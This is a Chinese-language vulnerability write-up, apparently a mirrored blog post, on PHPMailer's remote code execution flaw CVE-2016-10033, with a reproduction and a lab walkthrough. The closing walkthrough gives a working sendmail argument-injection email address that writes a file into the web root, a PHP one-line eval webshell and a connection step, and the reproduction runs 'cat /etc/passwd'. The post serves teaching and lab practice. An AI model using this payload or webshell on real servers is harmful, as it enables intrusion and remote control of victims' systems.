zoukankan      html  css  js  c++  java
  • PHPMailer远程命令执行漏洞溯源

    0x00 前言

    PHP是一种开源的脚本语言,被用来嵌入HTML做Web开发。它有9百万用户,并且被许多流行的工具使用,例如WordPress、Drupal、Joomla!等。这周一个高危安全更新用来解决PHPMailer的远程代码执行漏洞CVE-2016-10033。它是PHP网站发送邮件的一个库。

    这个致命的漏洞是由class.phpmailer.php没有正确处理用户的请求导致的。结果远程攻击者能够在有弱点的服务器上远程执行代码。

    这个漏洞影响了5.2.18版本之前的PHPMailer。

    0x01 分析

    当用PHPMailer发送一个邮件时,正常的处理是:

    1. PHPMailer获取用户请求

    2. PHPMailer校验用户提交的数据

    3. PHPMailer传递数据到PHP的mail()函数发送邮件。

    在这个校验的步骤中,PHPMailer校验用户数据代码如下:

    http://p9.qhimg.com/t01a974f8c7d3430488.png

    这个校验使用标准的校验方法,如PHP内置的FILTER_VALIDATE_EMAIL和html5默认的邮件类型模式匹配。

    http://p5.qhimg.com/t01fb224a0939e6eaff.png

    在这个例子中$address的值“attacker -InjectedParam @example.com”将被拒绝。但是这些方法遵循RFC3696协议,意味着邮件地址能够包含用引号括起来的空格,因此$address "attacker -InjectedParam"@example.com将绕过过滤。

    校验完成之后,PHPMailer将传递邮件收件人地址,主题,正文,头和发件人地址都PHP的mail()函数继而发送邮件。代码如下。

    http://p9.qhimg.com/t01ce8cd84ddf63f360.png

    问题就在这儿,PHPMailer不能在传递他们到mail()之前纠正这些邮件数据。它只是返回:

    http://p3.qhimg.com/t018a09c4838f7a88a9.png

    然后传递$result到mail()函数。这个问题导致攻击。

    例如,当用面地址发送:

    http://p0.qhimg.com/t01df35caa73b495bbd.png

    mail()函数将以4个参数执行/usr/bin/sendmail,“/usr/bin/sendmail”, “-t”, “-i” 和 “-fattacker -InjectedParam@example.com”。

    然而,攻击者能够通过注入一个“"”.比如用如下地址:

    http://p8.qhimg.com/t0117a84f6f5df41b31.png

    这个邮件地址这个发送邮件的函数将执行6个参数,“/usr/bin/sendmail”, “-t”, “-i”, “-fattacker”, “-InjectedParam1” 和 “-InjectedParam2"@example.com”。

    0x02 如何重现

    为了重现攻击,我建了个网站服务器如下:

    http://p3.qhimg.com/t0134a67fb0b97f62a1.png

    源码如下:

    http://p2.qhimg.com/t01c5b492f588471ddc.png

    这个表单类似网站反馈功能。攻击者能够利用一个恶意的邮件地址发送邮件:

    http://p5.qhimg.com/t017b726dcc31cca891.png

    PHP代码填充到Name和Message如下:

    http://p8.qhimg.com/t01601baeecca987c38.png

    http://p5.qhimg.com/t01898f120a62a20494.png

    在发送邮件之前,web服务根目录文件如下图。这个index.php是网页代码“vulnerable”包含PHPMailer文件。

    http://p3.qhimg.com/t01c0d640009a01df3f.png

    Payload被发送如下图:

    http://p0.qhimg.com/t01998434f5f57cd94a.png

    在发送攻击邮件后,一个新的文件“test.php”被创建了。它包含发送的邮件的原始数据,并包含我们的PHP代码段:

    http://p2.qhimg.com/t015af29493e129d0b3.png

    http://p9.qhimg.com/t0178a5571059d9800e.png

    然后我们能访问我们的test.php文件并执行命令。如下图我们执行了“cat /etc/passwd”:

    http://p3.qhimg.com/t0155f01a21376ea448.png

    真实的攻击可能是上传一个攻击代码的文件。这意味着攻击者能够通过邮件发送恶意代码到服务器上,然后远程执行。

    0x05 解决方案

    所有PHPMailer的用户应该立刻升级到最新版本。

    测试靶机

    1、通过Burp Suite中spider模块扫描网站目录结构,如图1所示。


     
    图1 扫描网站结构

    2、发现mail.php页面。我们打开查看,如图2所示。


     
    图2 打开mail.php

    3、插入恶意代码
    (1)在name处随便输入
    比如aaa
    (2)在email处输入

    "aaa". -OQueueDirectory=/tmp/. -X/var/www/html/a.php @aaa.com
    

    (3)在message处输入一句话木马

    <?php @eval($_POST[a]);?>
    

    4、点击Send email发送。最后通过菜刀链接,key在根目录。



    https://www.cnblogs.com/ssan/
  • 相关阅读:
    java soket 和nio
    面试题中问到 aop di ioc 怎么回答
    细谈hashmap
    java中length和length()还有size()的区别
    MySQL 中实现可重复读(RR)的原理--MVCC
    关于字节流/字符流操作文件的问题
    MySQL 中索引优化(即避免索引失效)
    MySQL 数据库中索引的实现 和 建立索引的原则
    CAS和ABA问题
    Volatile的简单理解
  • 原文地址:https://www.cnblogs.com/ssan/p/12711283.html
Copyright © 2011-2022 走看看